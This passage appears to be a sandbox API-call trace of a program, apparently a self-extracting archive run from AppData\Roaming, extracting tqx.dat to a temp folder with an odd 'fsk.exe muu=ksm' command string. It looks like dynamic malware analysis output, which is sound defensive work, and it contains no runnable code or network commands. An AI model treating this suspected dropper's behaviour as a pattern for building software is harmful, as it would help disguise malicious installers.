lpSrc="%temp%\\62890218", lpDst=0x16b374, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0067.764] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x16b374, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0067.764] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x16b374, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0067.764] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x16d388, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.764] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x16d37c, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.764] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x16b374, nSize=0x1000 | out: lpDst="1") returned 0x2 [0067.764] ExpandEnvironmentStringsW (in: lpSrc="%temp%\\62890218", lpDst=0x16b374, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0067.765] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x16b374, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0067.844] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFindFileData=0x17edc8 | out: lpFindFileData=0x17edc8) returned 0x25d6c0 [0067.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", cchWideChar=-1, lpMultiByteStr=0x17f058, cbMultiByte=16777216, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpUsedDefaultChar=0x0) returned 46 [0067.844] FileTimeToLocalFileTime (in: lpFileTime=0x17eddc, lpLocalFileTime=0x17e5a8 | out: lpLocalFileTime=0x17e5a8) returned 1 [0067.844] FileTimeToSystemTime (in: lpFileTime=0x17e5a8, lpSystemTime=0x17e590 | out: lpSystemTime=0x17e590) returned 1 [0067.844] SystemTimeToFileTime (in: lpSystemTime=0x17e590, lpFileTime=0x17e5a0 | out: lpFileTime=0x17e5a0) returned 1 [0067.844] FileTimeToLocalFileTime (in: lpFileTime=0x17edcc, lpLocalFileTime=0x17e5a8 | out: lpLocalFileTime=0x17e5a8) returned 1 [0067.844] FileTimeToSystemTime (in: lpFileTime=0x17e5a8, lpSystemTime=0x17e590 | out: lpSystemTime=0x17e590) returned 1 [0067.844] SystemTimeToFileTime (in: lpSystemTime=0x17e590, lpFileTime=0x17e5a0 | out: lpFileTime=0x17e5a0) returned 1 [0067.844] FileTimeToLocalFileTime (in: lpFileTime=0x17edd4, lpLocalFileTime=0x17e5a8 | out: lpLocalFileTime=0x17e5a8) returned 1 [0067.844] FileTimeToSystemTime (in: lpFileTime=0x17e5a8, lpSystemTime=0x17e590 | out: lpSystemTime=0x17e590) returned 1 [0067.844] SystemTimeToFileTime (in: lpSystemTime=0x17e590, lpFileTime=0x17e5a0 | out: lpFileTime=0x17e5a0) returned 1 [0067.844] FindClose (in: hFindFile=0x25d6c0 | out: hFindFile=0x25d6c0) returned 1 [0067.844] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1c [0067.844] ReadFile (in: hFile=0x1c, lpBuffer=0x179c18, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x175134, lpOverlapped=0x0 | out: lpBuffer=0x179c18*, lpNumberOfBytesRead=0x175134*=0x7, lpOverlapped=0x0) returned 1 [0067.845] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x175160*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175160*=0) returned 0x7 [0067.845] ReadFile (in: hFile=0x1c, lpBuffer=0x3250020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x175130, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x175130*=0xd6a3e, lpOverlapped=0x0) returned 1 [0067.879] SetFilePointer (in: hFile=0x1c, lDistanceToMove=134656, lpDistanceToMoveHigh=0x175140*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175140*=0) returned 0x20e00 [0067.879] ReadFile (in: hFile=0x1c, lpBuffer=0x179c18, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x175130, lpOverlapped=0x0 | out: lpBuffer=0x179c18*, lpNumberOfBytesRead=0x175130*=0x7, lpOverlapped=0x0) returned 1 [0067.882] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1740d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1740d0*=0) returned 0x20e07 [0067.882] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x174088, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x174088*=0x7, lpOverlapped=0x0) returned 1 [0067.882] ReadFile (in: hFile=0x1c, lpBuffer=0x2590af, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x174088, lpOverlapped=0x0 | out: lpBuffer=0x2590af*, lpNumberOfBytesRead=0x174088*=0x6, lpOverlapped=0x0) returned 1 [0067.882] SetFilePointer (in: hFile=0x1c, lDistanceToMove=134676, lpDistanceToMoveHigh=0x17513c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17513c*=0) returned 0x20e14 [0067.882] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x175150*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175150*=0) returned 0x20e14 [0067.882] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1740d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1740d0*=0) returned 0x20e14 [0067.883] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x174088, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x174088*=0x7, lpOverlapped=0x0) returned 1 [0067.883] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x174088, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x174088*=0x1c, lpOverlapped=0x0) returned 1 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=135926, lpDistanceToMoveHigh=0x17513c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17513c*=0) returned 0x212f6 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1740d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1740d0*=0) returned 0x212f6 [0067.883] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x174088, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x174088*=0x7, lpOverlapped=0x0) returned 1 [0067.883] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x174088, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x174088*=0x25, lpOverlapped=0x0) returned 1 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=134676, lpDistanceToMoveHigh=0x17513c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17513c*=0) returned 0x20e14 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x175150*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175150*=0) returned 0x20e14 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x175140*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x175140*=0) returned 0xd6a45 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x175160*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175160*=0) returned 0xd6a45 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=134676, lpDistanceToMoveHigh=0x17513c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17513c*=0) returned 0x20e14 [0067.883] GetSystemTime (in: lpSystemTime=0x175174 | out: lpSystemTime=0x175174*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x24, wMilliseconds=0x1ee)) [0067.883] SystemTimeToFileTime (in: lpSystemTime=0x175174, lpFileTime=0x175184 | out: lpFileTime=0x175184) returned 1 [0067.883] FileTimeToLocalFileTime (in: lpFileTime=0x175184, lpLocalFileTime=0x17515c | out: lpLocalFileTime=0x17515c) returned 1 [0067.883] FileTimeToSystemTime (in: lpFileTime=0x17515c, lpSystemTime=0x175144 | out: lpSystemTime=0x175144) returned 1 [0067.883] SystemTimeToFileTime (in: lpSystemTime=0x175144, lpFileTime=0x175154 | out: lpFileTime=0x175154) returned 1 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0x20e14 [0067.883] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.883] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x1c, lpOverlapped=0x0) returned 1 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=135926, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0x212f6 [0067.883] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0x212f6 [0067.884] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.884] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.884] OemToCharA (in: pSrc="tqx.dat", pDst=0x179cc0 | out: pDst="tqx.dat") returned 1 [0067.884] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="tqx.dat", cchCount2=1) returned 1 [0067.884] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="tqx.dat", cchCount2=6) returned 1 [0067.884] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="tqx.dat", cchCount2=-1) returned 1 [0067.884] SetFilePointer (in: hFile=0x1c, lDistanceToMove=135970, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0x21322 [0067.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="tqx.dat") returned 8 [0067.884] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.884] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting tqx.dat") returned 18 [0067.884] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting tqx.dat") returned 1 [0067.884] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 1 [0067.884] GetMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1701d8) returned 1 [0067.884] TranslateMessage (lpMsg=0x1701d8) returned 0 [0067.884] DispatchMessageW (lpMsg=0x1701d8) returned 0x0 [0067.884] OemToCharBuffA (in: lpszSrc="t", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="t") returned 1 [0067.884] CharToOemBuffA (in: lpszSrc="T", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="T") returned 1 [0067.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="tqx.dat") returned 8 [0067.884] FindFirstFileW (in: lpFileName="tqx.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.884] GetLastError () returned 0x2 [0067.884] GetFileAttributesA (lpFileName="tqx.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tqx.dat")) returned 0xffffffff [0067.884] CreateFileA (lpFileName="tqx.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tqx.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.885] GetFileType (hFile=0x138) returned 0x1 [0067.885] SetFilePointer (in: hFile=0x138, lDistanceToMove=566697, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x8a5a9 [0067.885] SetEndOfFile (hFile=0x138) returned 1 [0067.885] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.885] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x8000, lpOverlapped=0x0) returned 1 [0067.885] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x13, lParam=0x0) returned 0x0 [0067.886] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0067.886] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0067.886] TranslateMessage (lpMsg=0x17154c) returned 0 [0067.886] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0067.886] GetTickCount () returned 0x1f97a [0067.886] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 1 [0067.886] GetMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x171590) returned 1 [0067.886] TranslateMessage (lpMsg=0x171590) returned 0 [0067.886] DispatchMessageW (lpMsg=0x171590) returned 0x0 [0067.887] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.887] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x16, lParam=0x0) returned 0x13 [0067.887] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0067.887] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0067.887] TranslateMessage (lpMsg=0x17154c) returned 0 [0067.887] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0067.887] GetTickCount () returned 0x1f97a [0067.887] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.887] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.887] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x1a, lParam=0x0) returned 0x16 [0067.887] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.887] GetTickCount () returned 0x1f97a [0067.887] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.888] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.888] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x1e, lParam=0x0) returned 0x1a [0067.888] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.888] GetTickCount () returned 0x1f97a [0067.888] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.889] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.889] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x22, lParam=0x0) returned 0x1e [0067.889] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.889] GetTickCount () returned 0x1f97a [0067.889] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.889] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.889] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x25, lParam=0x0) returned 0x22 [0067.889] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.889] GetTickCount () returned 0x1f97a [0067.889] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.890] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.890] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x29, lParam=0x0) returned 0x25 [0067.890] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.890] GetTickCount () returned 0x1f97a [0067.890] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.891] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a3, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a3*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.891] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x2d, lParam=0x0) returned 0x29 [0067.891] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.891] GetTickCount () returned 0x1f97a [0067.891] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.891] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.891] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x30, lParam=0x0) returned 0x2d [0067.891] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.891] GetTickCount () returned 0x1f97a [0067.891] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.892] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a4, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a4*, lpNumberOfBytesRead=0x171578*=0x7fe0, lpOverlapped=0x0) returned 1 [0067.892] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x34, lParam=0x0) returned 0x30 [0067.892] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.892] GetTickCount () returned 0x1f97a [0067.892] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.892] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x10e7, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x10e7, lpOverlapped=0x0) returned 1 [0067.892] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x34 [0067.892] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.892] GetTickCount () returned 0x1f97a [0067.892] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 